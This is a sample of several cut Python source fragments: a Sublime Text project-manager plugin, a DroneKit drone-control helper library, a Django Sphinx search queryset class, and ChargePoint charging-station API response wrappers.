if pm_settings.get('show_recent_projects_first', True):
self.move_recent_projects_to_top(plist)
if pm_settings.get('show_active_projects_first', True):
self.move_opened_projects_to_top(plist)
return list(map(itemgetter(0), plist)), list(map(itemgetter(1, 2), plist))
def mark_open_projects(self, info):
project_file_names = [
os.path.realpath(w.project_file_name())
for w in sublime.windows() if w.project_file_name()]
for v in info.values():
if os.path.realpath(v["file"]) in project_file_names:
v["star"] = True
def render_display_item(self, item):
project_name, info = item
active_project_indicator = str(pm_settings.get('active_project_indicator', '*'))
display_format = str(pm_settings.get(
'project_display_format', '{project_group}{project_name}{active_project_indicator}'))
if "star" not in info:
active_project_indicator = ''
display_name = display_format.format(project_name=project_name,
project_group=info["group"],
active_project_indicator=active_project_indicator)
return [
project_name,
display_name.strip(),
pretty_path(info['folder']),
pretty_path(info['file'])]
def move_recent_projects_to_top(self, plist):
j = JsonFile(os.path.join(self.projects_info.primary_dir(), 'recent.json'))
recent = j.load([])
recent = [pretty_path(obj["project"]) for obj in recent]
plist.sort(key=lambda p: recent.index(p[3]) if p[3] in recent else -1,
reverse=True)
def move_opened_projects_to_top(self, plist):
count = 0
active_project_indicator = str(pm_settings.get('active_project_indicator', '*'))
for i in range(len(plist)):
if plist[i][1].endswith(active_project_indicator):
plist.insert(count, plist.pop(i))
count = count + 1
def project_file_name(self, project):
return self.projects_info.info()[project]['file']
def display_workspaces(self, project):
"""Return a list of path to project's workspaces and a list of display elements
for each of these workspaces.
Args:
project: str
The name of the project from which to list and display workspaces
If None, the project opened in the current window (if any) is used
Returns:
(list[str], list[(str, str)]): returns a pair with:
- in first element, a list of path to every workspaces belonging to
project
- in second element, a list of pair of strings corresponding to the main
display names and the sub-display in the sublime-text selection menu
Raises:
ValueError if the given project is not in the list of managed projects.
Example:
self.display_workspaces("TestProject") = \
(["/home/test/Projects/TestA.sublime-workspace",
"/home/text/Projects/TestB.sublime-workspace"],
[("TestA", "~/Projects/TestA"),
("TestB", "~/Projects/TestB")]
)
"""
if project is None:
project = self.curr_pname
if project not in self.projects_info.info():
raise ValueError('Project not found !')
# Load workspaces and their information, then sort them alphabetically
wfiles = self.projects_info.info()[project]["workspaces"]
wlist = list(map(self.render_workspace, wfiles))
wlist.sort(key=lambda w: w[1])
if pm_settings.get('show_recent_workspaces_first', True):
move_second = pm_settings.get('show_most_recent_workspace_second', True)
self.move_recent_workspaces_to_top(project, wlist, move_second)
if pm_settings.get('show_default_workspace_first', False):
self.move_default_workspace_to_top(project, wlist)
# Change name of default workspace (cf. method `get_default_workspace`) to
# "(Default)" ; and mark open workspaces
workspaces_file_names = []
if sublime.version() >= '4050':
workspaces_file_names = [os.path.realpath(w.workspace_file_name())
for w in sublime.windows() if w.workspace_file_name()]
active_workspace_indicator = str(pm_settings.get('active_workspace_indicator', '*'))
for i, (wpath, wname, wbuffers) in enumerate(wlist):
if wname == project:
wname = '(Default)'
if wpath in workspaces_file_names:
wname += active_workspace_indicator
wlist[i] = [wpath, wname, wbuffers]
return list(map(itemgetter(0), wlist)), list(map(itemgetter(1, 2), wlist))
def render_workspace(self, wfile):
"""Given a workspace file, returns a tuplet with its file, its name and a
prettified path to the file
Args:
wfile: str
The complete path to the workspace file
Returns:
list[(str, str, str)]: a tuplet composed of the path of the file, the name of
the workspace and a prettified path to the file to display to the user
"""
wname = os.path.basename(re.sub(r'\.sublime-workspace$', '', wfile))
winfo = JsonFile(wfile).load()
if "buffers" not in winfo:
return [wfile, wname, wfile]
wbuffer_list = winfo["buffers"]
wbuffers_names = []
for buffer in wbuffer_list:
if 'file' not in buffer:
continue
buffer_file = buffer['file']
buffer_name = buffer_file.rsplit(os.sep, 1)[1]
wbuffers_names.append(buffer_name)
wbuffers = " / ".join(wbuffers_names)
if len(wbuffers) > 85:
wbuffers = wbuffers[:85] + " [...] (" + str(wbuffers[80:].count('/')) + " more)"
return [wfile, wname, wbuffers]
def move_recent_workspaces_to_top(self, project, wlist, move_second):
"""Sort a list of workspaces according to their date and time of last opening
This method sort workspaces according to their index in the `recent.json` file,
placing the most recent ones on top of the list.
If `move_second` is True, check if this most recent workspace belongs to
the project opened in the current window. If it's the case, then switch the
first and second items in the list. This is to make sure that when switching
workspaces after having opened one, the one opened (and so the most recent one)
is not in first position.
Args:
project: str
The name of the project from which to sort the workspaces
wlist: list[(str, str, str)]
A list of information of all of the project's workspaces as given by
self.render_workspace (i.e. [(wpath, wname, wbuffers)])
move_second: bool
Whether to move the most recently opened workspace in second position
"""
j = JsonFile(os.path.join(self.projects_info.primary_dir(), 'recent.json'))
recent = j.load([])
# We look for the project in the `recent.json` file and extract the list of its
# workspaces (sorted by most recently opened)
for obj in recent:
pname = os.path.basename(re.sub(r'\.sublime-project$', '', obj["project"]))
if pname == project:
recent = obj["workspaces"]
break
else:
return
# Sort workspaces according to their index in the recent list
wlist.sort(key=lambda w: recent.index(w[0]) if w[0] in recent else -1,
reverse=True)
# Switch first and second if the current window is in a project...
if move_second and self.curr_pname is not None:
# ...and this project is the one from which we want to load a workspace
if self.curr_pname != project:
return
if wlist[0][0] in recent:
wlist[0], wlist[1] = wlist[1], wlist[0]
def move_default_workspace_to_top(self, project, wlist):
"""Move the default workspace of a project to the top of the list of workspaces
The default workspace of a project is defined as the workspace that has the same
name of file. For example, the project `test.sublime-project` has for default
workspace `test.sublime-workspace`.
The default workspace corresponds to the one created by sublime-text by default.
Args:
project: str
The name of the project
wlist: list[(str, str, str)]
A list of information of all of the project's workspaces as given by
self.render_workspace (i.e. [(wpath, wname, pretty(wpath))])
"""
for i in range(len(wlist)):
if wlist[i][1] == project:
wlist.insert(0, wlist.pop(i))
break
def update_recent(self, project, wfile=None):
"""Update the `recent.json` file to put the given project and workspace in most
recent spot
Args:
project: str
The name of the project
wfile: str
The path of the workspace file
"""
j = JsonFile(os.path.join(self.projects_info.primary_dir(), 'recent.json'))
recent = j.load([])
pfile = pretty_path(self.project_file_name(project))
# If no workspace is given, take the default one
if wfile is None:
wfile = re.sub(r'\.sublime-project$', '.sublime-workspace', pfile)
# Run through the recent file to find the given project and move the given
# workspace to the end of the wlist
for i, pobject in enumerate(recent):
if pfile == pobject["project"]:
wlist = pobject["workspaces"]
if wfile in wlist:
wlist.remove(wfile)
wlist.append(wfile)
recent.pop(i)
break
else:
wlist = [wfile]
# Move the project to the end of the recent list
recent.append({"project": pfile, "workspaces": wlist})
# Only keep the most recent 50 records
if len(recent) > 50:
| |
<filename>custom_library/drone_lib.py
# This is a custom library for useful functions that wrap standard DroneKit basic functions
# Last Update: 23 - 09 - 2018 -- <NAME>, University of Trento - Italy
# ----------------------------------------------- Imports ------------------------------------------------------------ #
from __future__ import print_function
import time, math, threading, logging
from time import gmtime, strftime
from dronekit import connect, VehicleMode, LocationGlobalRelative, LocationGlobal
from pymavlink import mavutil # for command message definitions
from logging import FileHandler
from logging import Formatter
# ---------------------------------------- Parameters declaration ---------------------------------------------------- #
mininum_distance = 1.2 # minimum distance from the target to consider the target reached
print_skip_iterations = 20 # number of loop iterations skipped before printing the output
# setting the output format and log level for the logging
# ----------------------------------------- Function definitions ----------------------------------------------------- #
def arm_and_takeoff(tgt_altitude, vehicle, stop_action=[False], _id=0, log_level=logging.INFO): # add a third input param "interrupt"
"""
Takeoff function - taking off to a target altitudes tgt_altitude
:param tgt_altitude: final altitude for the take-off
:param vehicle: UAV to command
:param log_level: logging level
:return:
"""
# set level of logging
logging.basicConfig(format='\t[%(levelname)s] %(message)s'.expandtabs(_id * 40), level=logging.DEBUG)
logging.getLogger().setLevel(log_level)
print("\t-- Initializing the drone --".expandtabs(_id * 40))
# timestamps on file for starting time of function invocation ------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write('\n----- Drone ' + str(_id) + '----- FUNCTION CALL: arm_and_takeoff(%s) ----- [%s]\n\n' % (str(tgt_altitude),strftime("%H:%M:%S", time.localtime())))
# ------------------------------------------------------------------------------------------------------------------
# a polling check for the status armable of the vehicle is required in order to arm it
while not vehicle.is_armable:
print("\tWaiting to initialize...".expandtabs(_id * 40))
time.sleep(1)
# setting the vehicle mode to GUIDED (required to take off) and arming motors
print("\t-- Arming motors --".expandtabs(_id * 40))
# timestamps on file -----------------------------------------------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write('-- Arming motors -- [%s]\n' % (strftime("%H:%M:%S", time.localtime())))
# ------------------------------------------------------------------------------------------------------------------
while not (vehicle.mode == VehicleMode("GUIDED") and vehicle.armed is True):
vehicle.mode = VehicleMode("GUIDED")
vehicle.armed = True
time.sleep(1)
# a polling check for the status armed of the vehicle is required in order to take off
while not vehicle.armed:
print("\tWaiting for arming...".expandtabs(_id * 40))
time.sleep(1)
# taking off by calling the simple_takeoff() function
print("\t-- Taking off --".expandtabs(_id * 40))
# timestamps on file -----------------------------------------------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write('-- Taking off -- [%s]\n' % (strftime("%H:%M:%S", time.localtime())))
# ------------------------------------------------------------------------------------------------------------------
for j in range(1, 6): # several consecutive repetitions of the command are needed to be sure it has been received
vehicle.simple_takeoff(tgt_altitude)
time.sleep(0.5)
print_counter = 0
# -- loop until target altitude is reached
while True:
if print_counter >= print_skip_iterations:
logging.info('Altitude : ' + str(vehicle.location.global_relative_frame.alt))
# timestamps on file -------------------------------------------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write(' Altitude: [%s] [%s]\n' % (vehicle.location.global_relative_frame.alt,strftime("%H:%M:%S", time.localtime())))
print_counter = 0
# --------------------------------------------------------------------------------------------------------------
altitudes = vehicle.location.global_relative_frame.alt
if altitudes >= tgt_altitude * 0.8: # acceptable altitude error: 10% of altitude
print("\tAltitude reached".expandtabs(_id * 40))
# timestamps on file ---------------------------------------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write(' Altitude reached [%s]\n' % (strftime("%H:%M:%S", time.localtime())))
# ----------------------------------------------------------------------------------------------------------
break
print_counter += 1
time.sleep(0.01)
def landing(vehicle, stop_action=[False], _id=0, log_level=logging.INFO):
"""
Landing function - landing the vehicle
:param vehicle: UAV to command
:param log_level: logging level
:return:
"""
# set level of logging
logging.basicConfig(format='\t[%(levelname)s] %(message)s'.expandtabs(_id * 40), level=logging.DEBUG)
logging.getLogger().setLevel(log_level)
print("\t-- Landing the drone --".expandtabs(_id * 40))
# timestamps on file for starting time of function invocation ------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write('\n----- Drone ' + str(_id) + ' -- FUNCTION CALL: landing ----- [%s]\n\n' % (strftime("%H:%M:%S", time.localtime())))
# ------------------------------------------------------------------------------------------------------------------
for j in range(1, 3): # several consecutive repetitions of the command are needed to be sure it has been received
vehicle.mode = VehicleMode("LAND")
time.sleep(0.5)
print_counter = 0
# -- loop until target altitude is reached
while vehicle.armed:
if print_counter >= print_skip_iterations:
logging.info("Altitude: " + str(vehicle.location.global_relative_frame.alt))
# timestamps on file -------------------------------------------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write(' Altitude: [%s] [%s]\n' % (vehicle.location.global_relative_frame.alt,strftime("%H:%M:%S", time.localtime())))
print_counter = 0
# --------------------------------------------------------------------------------------------------------------
print_counter += 1
time.sleep(0.01)
print("\tLanded with LAND".expandtabs(_id * 40))
def return_to_launch(vehicle, stop_action=[False], _id=0, log_level=logging.INFO):
"""
RTL function - get the vehicle back to its home location and land
:param vehicle: UAV to command
:param stop_action: flag, when set to True at runtime aborts the function
:param _id: for stop_action. To be able to detect at runtime a change on stop_action, a mutable object has to be
passed (in this case a list). Passing just a string or int will not work, as they are immutable objects
in Python
:param log_level: logging level
:return:
"""
# set level of logging
logging.basicConfig(format='\t[%(levelname)s] %(message)s'.expandtabs(_id * 40), level=logging.DEBUG)
logging.getLogger().setLevel(log_level)
print("\t-- RTL the drone --".expandtabs(_id * 40))
# timestamps on file for starting time of function invocation ------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write('\n----- Drone ' + str(_id) + '----- FUNCTION CALL: RTL ----- [%s]\n\n' % (strftime("%H:%M:%S", time.localtime())))
# ------------------------------------------------------------------------------------------------------------------
for j in range(1, 3): # several consecutive repetitions of the command are needed to be sure it has been received
vehicle.mode = VehicleMode("RTL")
time.sleep(0.5)
print_counter = 0
# -- loop until target altitude is reached
while vehicle.armed:
if stop_action[_id] is True:
return
if print_counter >= print_skip_iterations:
logging.info("Altitude: " + str(vehicle.location.global_relative_frame.alt))
# timestamps on file -------------------------------------------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write(' Altitude: [%s] [%s]\n' % (vehicle.location.global_relative_frame.alt,strftime("%H:%M:%S", time.localtime())))
print_counter = 0
# --------------------------------------------------------------------------------------------------------------
print_counter += 1
time.sleep(0.01)
print("\tLanded with RTL".expandtabs(_id * 40))
def send_ned_velocity(velocity_x, velocity_y, velocity_z, duration, vehicle, stop_action=[False], _id=0, log_level=logging.INFO):
"""
Move vehicle in direction based on specified velocity vectors
:param velocity_x: x velocity in NED frame. Positive Forward
:param velocity_y: y velocity in NED frame. Positive on the right
:param velocity_z: z velocity in NED frame. Positive downward
:param duration: move the UAV for 'duration' seconds
:param vehicle: UAV to command
:param stop_action: flag, when set to True at runtime aborts the function
:param _id: for stop_action. To be able to detect at runtime a change on stop_action, a mutable object has to be
passed (in this case a list). Passing just a string or int will not work, as they are immutable objects
in Python
:param log_level: logging level
:return:
"""
# set level of logging
logging.basicConfig(format='\t[%(levelname)s] %(message)s'.expandtabs(_id * 40), level=logging.DEBUG)
logging.getLogger().setLevel(log_level)
logging.warning("-- Moving the drone with %s m/s forward - %s m/s on the right and %s m/s down --" % (str(velocity_x), str(velocity_y), str(velocity_z)))
# timestamps on file for starting time of function invocation ------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write('\n----- Drone ' + str(_id) + '----- FUNCTION CALL: send_ned_velocity(%s,%s,%s) ----- [%s]\n\n' % (str(velocity_x), str(velocity_y), str(velocity_z), strftime("%H:%M:%S", time.localtime())))
# ------------------------------------------------------------------------------------------------------------------
# build the MAVLink command message for a velocity controlled movement
msg = vehicle.message_factory.set_position_target_local_ned_encode(
0, # time_boot_ms (not used)
0, 0, # target system, target component
mavutil.mavlink.MAV_FRAME_BODY_OFFSET_NED, # frame w.r.t to current heading of the drone
# (directions are considered w.r.t. current heading)
# MAV_FRAME_LOCAL_NED to specify w.r.t. direction
# parallel to North and East directions
0b0000111111000111, # type_mask (only speeds enabled)
0, 0, 0, # x, y, z positions (not used)
velocity_x, velocity_y, velocity_z, # x, y, z velocity in m/s
0, 0, 0, # x, y, z acceleration (not supported yet, ignored in GCS_Mavlink)
0, 0) # yaw, yaw_rate (not supported yet, ignored in GCS_Mavlink)
# send command on 10 Hz cycle (increase frequency for a more accurate movement, at the expense of performance)
for x in range(0, duration*10):
if stop_action[_id] is True:
print("\tCAUTION: Command Aborted".expandtabs(_id * 40))
return
vehicle.send_mavlink(msg)
# timestamps on file -------------------------------------------------------------------------------------------
with open('log_data.txt', 'a') as the_file:
the_file.write('\nTime : %s\n' % (strftime("%H:%M:%S", time.localtime())))
the_file.write(' Global Location (relative altitudes): ' + str(vehicle.location.global_relative_frame) + '\n')
the_file.write(' Local Location : ' + str(vehicle.location.local_frame) + '\n')
the_file.write(' Attitude : ' + str(vehicle.attitude) + '\n')
the_file.write(' Velocity : ' + str(vehicle.velocity) + '\n')
the_file.write(' Heading : ' + str(vehicle.heading) + '\n')
# --------------------------------------------------------------------------------------------------------------
time.sleep(0.1)
def get_distance_metres(aLocation1, aLocation2):
"""
Returns the ground distance in metres between two LocationGlobal objects
:param aLocation1: starting location
:param aLocation2: ending location
:return:
"""
dlat = aLocation2.lat - aLocation1.lat
dlong = aLocation2.lon - aLocation1.lon
dlong_c = dlong*math.cos(math.radians(aLocation1.lat))
return math.sqrt((dlat * dlat) + (dlong_c * dlong_c)) * 1.113195e5
def simple_goto_wait(wp, vehicle, stop_action=[False], _id=0, log_level=logging.INFO):
"""
invoking the vehicle.simple_goto(wp1), displaying the remaining distance
and ensuring | |
<gh_stars>0
#coding: utf-8
from __future__ import unicode_literals
from functools import reduce
__author__ = 'ego'
import MySQLdb
import re
import time
import warnings
import six
try:
from collections import OrderedDict
except ImportError:
from django.utils.datastructures import SortedDict as OrderedDict # Python < 2.7
from datetime import datetime, date
try:
import decimal
except ImportError:
from django.utils import _decimal as decimal # for Python 2.3
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.db.models.fields.related import RelatedField
from django.db.models.query import QuerySet
try:
from django.utils.encoding import force_unicode
except ImportError:
from django.utils.encoding import force_text as force_unicode
from djangosphinx.conf import SPHINX_QUERY_OPTS, SPHINX_QUERY_LIMIT, \
SPHINX_MAX_MATCHES, SPHINX_SNIPPETS, SPHINX_SNIPPETS_OPTS, \
DOCUMENT_ID_SHIFT, CONTENT_TYPE_MASK, OBJECT_ID_MASK
from djangosphinx.constants import EMPTY_RESULT_SET, \
FILTER_CMP_OPERATIONS, FILTER_CMP_INVERSE
from djangosphinx.query.proxy import SphinxProxy
from djangosphinx.query.query import SphinxQuery, conn_handler
from djangosphinx.utils.config import get_sphinx_attr_type_for_field
from djangosphinx.shortcuts import all_indexes
__all__ = ['SearchError', 'SphinxQuerySet', 'to_sphinx']
def to_sphinx(value):
"Convert a value into a sphinx query value"
if isinstance(value, (date, datetime)):
return int(time.mktime(value.timetuple()))
elif isinstance(value, (decimal.Decimal, float)):
return float(value)
return int(value)
class SearchError(Exception):
pass
class SphinxQuerySet(object):
__index_match = re.compile(r'[^a-z0-9_-]*', re.I)
def __init__(self, model=None, using=None, **kwargs):
self.model = model
self.using = using
self.realtime = None
self._doc_ids = None
self._iter = None
self._query = None
self._query_args = None
self._field_names = {}
self._fields = '*'
self._aliases = {}
self._group_by = ''
self._order_by = ''
self._group_order_by = ''
self._filters = {}
self._excludes = {}
_q_opts = kwargs.pop('query_options', SPHINX_QUERY_OPTS)
if 'ranker' not in _q_opts:
_q_opts['ranker'] = 'bm25'
self._query_opts = self._format_options(**_q_opts)
self._result_cache = None
self._doc_fields_cache = {}
self._index_fields_cache = None
self._metadata = None
self._maxmatches = min(kwargs.pop('maxmatches', SPHINX_MAX_MATCHES), SPHINX_MAX_MATCHES)
self._limit = min(kwargs.pop('limit', SPHINX_QUERY_LIMIT), self._maxmatches)
self._offset = None
self._snippets = kwargs.pop('snippets', SPHINX_SNIPPETS)
self._snippets_opts = kwargs.pop('snippets_options', SPHINX_SNIPPETS_OPTS)
self._snippets_string = None
if model:
#self._indexes = self._parse_indexes(kwargs.pop('index', model._meta.db_table))
self._indexes = [model._meta.db_table]
model_options = model.__sphinx_options__
if model_options.get('realtime', False):
self.realtime = '%s_rt' % model._meta.db_table
self._indexes.append(self.realtime)
else:
self._indexes = self._parse_indexes(kwargs.pop('index', None))
def __len__(self):
return self.count()
def __iter__(self):
if self._result_cache is None:
try:
self._get_data()
except MySQLdb.ProgrammingError as e:
raise SearchError(e.args)
return iter(self._result_cache)
def __repr__(self):
return repr(self.__iter__())
def __getitem__(self, k):
"""
Retrieves an item or slice from the set of results.
"""
if not isinstance(k, (slice,) + six.integer_types):
raise TypeError
assert ((not isinstance(k, slice) and (k >= 0))
or (isinstance(k, slice) and (k.start is None or k.start >= 0)
and (k.stop is None or k.stop >= 0))),\
"Negative indexing is not supported."
if isinstance(k, slice):
qs = self._clone()
start = int(k.start) if k.start is not None else 0
stop = int(k.stop) if k.stop is not None else None
qs._set_limits(start, stop)
qs._get_data()
return k.step and list(qs)[::k.step] or qs
try:
qs = self._clone()
qs._set_limits(k, k + 1)
qs._get_data()
return list(qs)[0]
except Exception as e:
raise IndexError(e.args)
# Indexes
def add_index(self, index):
if self.model is not None:
raise SearchError('You can not add an index to the model')
_indexes = self._indexes[:]
for x in self._parse_indexes(index):
if x not in _indexes:
_indexes.append(x)
return self._clone(_indexes=_indexes)
def remove_index(self, index):
if self.model is not None:
raise SearchError('You can not remove an index from model')
_indexes = self._indexes[:]
for x in self._parse_indexes(index):
if x in _indexes:
_indexes.pop(_indexes.index(x))
return self._clone(_indexes=_indexes)
# Querying
def query(self, query):
return self._clone(_query=force_unicode(query))
def filter(self, **kwargs):
filters = self._filters.copy()
return self._clone(_filters=self._process_filters(filters, False, **kwargs))
def exclude(self, **kwargs):
filters = self._excludes.copy()
return self._clone(_excludes=self._process_filters(filters, True, **kwargs))
def fields(self, *args, **kwargs):
fields = ''
aliases = {}
if args:
fields = '`%s`' % '`, `'.join(args)
if kwargs:
for k, v in kwargs.items():
aliases[k] = '%s AS `%s`' % (v, k)
if fields or aliases:
return self._clone(_fields=fields, _aliases=aliases)
return self
def options(self, **kwargs):
if not kwargs:
return self
return self._clone(_query_opts=self._format_options(**kwargs))
def snippets(self, snippets=True, **kwargs):
if snippets == self._snippets and not kwargs:
return self
for k, v in kwargs.items():
if isinstance(v, bool):
v = int(v)
return self._clone(_snippets_opts=kwargs, _snippets=snippets, _snippets_opts_string=None)
# Currently only supports grouping by a single column.
# The column however can be a computed expression
def group_by(self, field):
return self._clone(_group_by='GROUP BY `%s`' % field)
def order_by(self, *args):
sort_by = []
for arg in args:
order = 'ASC'
if arg[0] == '-':
order = 'DESC'
arg = arg[1:]
if arg == 'pk':
arg = 'id'
sort_by.append('`%s` %s' % (arg, order))
if sort_by:
return self._clone(_order_by='ORDER BY %s' % ', '.join(sort_by))
return self
def group_order_by(self, *args):
sort_by = []
for arg in args:
order = 'ASC'
if arg[0] == '-':
order = 'DESC'
arg = arg[1:]
if arg == 'pk':
arg = 'id'
sort_by.append('`%s` %s' % (arg, order))
if sort_by:
return self._clone(_group_order_by='WITHIN GROUP ORDER BY %s' % ', '.join(sort_by))
return self
def count(self):
return min(int(self.meta.get('total_found', 0)), self._maxmatches)
# Возвращяет все объекты из индекса. Размер списка ограничен только
# значением maxmatches
def all(self):
return self._clone(_limit=self._maxmatches, _offset=None)
def none(self):
qs = EmptySphinxQuerySet()
qs.__dict__.update(self.__dict__.copy())
return qs
def reset(self):
return self.__class__(self.model, self.using, index=self._get_index())
def _get_values_for_update(self, obj):
fields = self._get_index_fields()
values = []
for field in fields[:]:
if field == 'id':
f = getattr(obj, 'pk')
f = self._encode_document_id(f)
elif field == 'sphinx_internal_id':
f = getattr(obj, 'pk')
else:
# relative fields like category__name
if '__' in field:
try:
f = reduce(getattr, field.split('__'), obj)
except AttributeError:
# if local field is None thats raise error
f = ''
else:
f = getattr(obj, field)
if hasattr(f, 'through'): # ManyToMany
# пропускаем пока что...
f = [force_unicode(x.pk) for x in f.all()]
elif isinstance(f, six.string_types):
pass
elif isinstance(f, six.integer_types) or isinstance(f, (bool, date, datetime, float, decimal.Decimal)):
f = to_sphinx(f)
else:
model_filed = obj._meta.get_field(field)
if isinstance(model_filed, RelatedField):
f = to_sphinx(getattr(obj, model_filed.column))
else:
raise SearchError('Unknown field `%s`' % type(f))
values.append(f)
return values
def create(self, *args, **kwargs):
values = ()
if self.model:
assert len(args) == 1, \
'Model RT-index can be updated by object instance or queryset'
obj = args[0]
if isinstance(obj, self.model):
# один объект, один документ
values = (self._get_values_for_update(obj),)
elif isinstance(obj, QuerySet):
# несколько объектов, несколько документов
values = map(self._get_values_for_update, obj)
else:
raise SearchError('Can`t `%s` not an instance/queryset of `%s`' % (obj, self.model))
else:
raise NotImplementedError('Non-model RT-index update not supported yet')
if not values:
raise SearchError('Empty QuerySet? o_O')
query = ['REPLACE' if kwargs.pop('force_update', False) else 'INSERT']
query.append('INTO %s' % self.realtime)
query.append('(%s)' % ','.join(self._get_index_fields()))
query.append('VALUES')
query_args = []
q = []
for v in values:
f_list = []
for f in v:
if isinstance(f, six.string_types):
query_args.append(f)
f_list.append('{}')
elif isinstance(f, (list, tuple)):
f_list.append('(%s)' % ','.join(f))
else:
f_list.append(force_unicode(f))
q.append('(%s)' % ','.join(f_list))
query.append(', '.join(q))
cursor = conn_handler.cursor()
count = cursor.execute(' '.join(query), query_args)
return count
def update(self, **kwargs):
raise NotImplementedError('Update not implemented yet')
def delete(self):
"""
Удаляет из индекса документы, удовлетворяющие условиям filter
"""
assert self._can_modify(),\
"Cannot use 'limit' or 'offset' with delete."
q = ['DELETE FROM %s WHERE' % self.realtime]
if len(self._doc_ids) == 1:
where = 'id = %i' % self._doc_ids[0]
else:
where = 'id IN (%s)' % ','.join(str(id) for id in self._doc_ids)
q.append(where)
query = ' '.join(q)
cursor = conn_handler.cursor()
cursor.execute(query, self._query_args)
# misc
def keywords(self, text, index=None, hits=None):
"""\
Возвращает генератор со списком ключевых слов
для переданного текста\
"""
if index is None:
# пока только для одного индекса
index = self._indexes[0]
query = 'CALL KEYWORDS (%s)'
q = ['%s', '%s']
if hits is not None and hits:
q.append('1')
query = query % ', '.join(q)
cursor = conn_handler.cursor()
count = cursor.execute(query, [text, index])
for x in range(0, count):
yield cursor.fetchone()
def get_query_set(self, model):
qs = model._default_manager
if self.using is not None:
qs = qs.db_manager(self.using)
return qs.all()
# Properties
def _meta(self):
if self._metadata is None:
self._get_data()
return self._metadata
meta = property(_meta)
def _get_snippets_string(self):
if self._snippets_string is None:
opts_list = []
for k, v in self._snippets_opts.items():
opt = ('\'%s\' AS %s' if isinstance(v, six.string_types) else '%s AS %s') % (v, k)
opts_list.append(opt)
if opts_list:
self._snippets_string = ', %s' % ', '.join(opts_list)
return self._snippets_string or ''
#internal
def _set_limits(self, start, stop=None):
if start is not None:
self._offset = int(start)
else:
start = 0
if stop is not None:
self._limit = stop - start
def _can_modify(self):
if self.realtime is None:
raise SearchError('Documents can`t be modified on the non-realtime index')
assert self._doc_ids is not None \
and not self._excludes and self._query is None\
and len(self._filters) == 1 and 'id' in self._filters, \
'Only {id = value | id IN (val1 [, val2 [, ...]])} filters allowed here'
return self._offset is None
def | |
not have Ports defined")
return None
@staticmethod
def check_output(attribute, parent_dict):
"""Helper method for get_port_value"""
if attribute in parent_dict:
if parent_dict[attribute] == "None":
return None
else:
return parent_dict[attribute]
else:
logger.warning("{0} not found in Port result set.".format(attribute))
return None
@staticmethod
def get_attr_from_response(name_string, response, portNum=None):
list = []
for item in response:
if not portNum:
list.append(getattr(item, name_string)
if name_string in item
else CPAPIResponse.is_not_found(name_string))
else:
list.append(CPAPIResponse.get_port_value(portNum, item, name_string))
return list
class CPAPIGetAlarmsResponse(CPAPIResponse):
def __init__(self, response):
super(CPAPIGetAlarmsResponse, self).__init__(response)
@property
def alarms(self):
if self.is_successful():
return self.response.Alarms
else:
raise CPAPIException(self.responseCode, self.responseText)
def alarmType(self, port=None):
return CPAPIResponse.get_attr_from_response('alarmType', self.alarms, port)
def alarmTime(self, port=None):
return CPAPIResponse.get_attr_from_response('alarmTime', self.alarms, port)
def clearAlarms(self, port=None):
return CPAPIResponse.get_attr_from_response('clearAlarms', self.alarms, port)
class CPAPIGetChargingSessionsResponse(CPAPIResponse):
def __init__(self, response):
super(CPAPIGetChargingSessionsResponse, self).__init__(response)
@property
def charging_sessions(self):
if self.is_successful():
return self.response.ChargingSessionData
else:
raise CPAPIException(self.responseCode, self.responseText)
def sessionID(self, port=None):
return CPAPIResponse.get_attr_from_response('sessionID', self.charging_sessions, port)
def startTime(self, port=None):
return CPAPIResponse.get_attr_from_response('startTime', self.charging_sessions, port)
def endTime(self, port=None):
return CPAPIResponse.get_attr_from_response('endTime', self.charging_sessions, port)
def Energy(self, port=None):
return CPAPIResponse.get_attr_from_response('Energy', self.charging_sessions, port)
def rfidSerialNumber(self, port=None):
return CPAPIResponse.get_attr_from_response('rfidSerialNumber', self.charging_sessions, port)
def driverAccountNumber(self, port=None):
return CPAPIResponse.get_attr_from_response('driverAccountNumber', self.charging_sessions, port)
def driverName(self, port=None):
return CPAPIResponse.get_attr_from_response('driverName', self.charging_sessions, port)
class CPAPIGetStationStatusResponse(CPAPIResponse):
def __init__(self, response):
super(CPAPIGetStationStatusResponse, self).__init__(response)
@property
def status(self):
if self.is_successful():
return self.response.stationData
else:
raise CPAPIException(self.responseCode, self.responseText)
def Status(self, port=None):
return CPAPIResponse.get_attr_from_response('Status', self.status, port)
def TimeStamp(self, port=None):
return CPAPIResponse.get_attr_from_response('TimeStamp', self.status, port)
class CPAPIGetStationsResponse(CPAPIResponse):
def __init__(self, response):
super(CPAPIGetStationsResponse, self).__init__(response)
@property
def stations(self):
if self.is_successful():
return self.response.stationData
else:
raise CPAPIException(self.responseCode, self.responseText)
def stationID(self, port=None):
return CPAPIResponse.get_attr_from_response('stationID', self.stations, port)
def stationManufacturer(self, port=None):
return CPAPIResponse.get_attr_from_response('stationManufacturer', self.stations, port)
def stationModel(self, port=None):
return CPAPIResponse.get_attr_from_response('stationModel', self.stations, port)
def stationMacAddr(self, port=None):
return CPAPIResponse.get_attr_from_response('stationMacAddr', self.stations, port)
def stationSerialNum(self, port=None):
return CPAPIResponse.get_attr_from_response('stationSerialNum', self.stations, port)
def Address(self, port=None):
return CPAPIResponse.get_attr_from_response('Address', self.stations, port)
def City(self, port=None):
return CPAPIResponse.get_attr_from_response('City', self.stations, port)
def State(self, port=None):
return CPAPIResponse.get_attr_from_response('State', self.stations, port)
def Country(self, port=None):
return CPAPIResponse.get_attr_from_response('Country', self.stations, port)
def postalCode(self, port=None):
return CPAPIResponse.get_attr_from_response('postalCode', self.stations, port)
def numPorts(self, port=None):
return CPAPIResponse.get_attr_from_response('numPorts', self.stations, port)
def currencyCode(self, port=None):
return CPAPIResponse.get_attr_from_response('currencyCode', self.stations, port)
def orgID(self, port=None):
return CPAPIResponse.get_attr_from_response('orgID', self.stations, port)
def mainPhone(self, port=None):
return CPAPIResponse.get_attr_from_response('mainPhone', self.stations, port)
def organizationName(self, port=None):
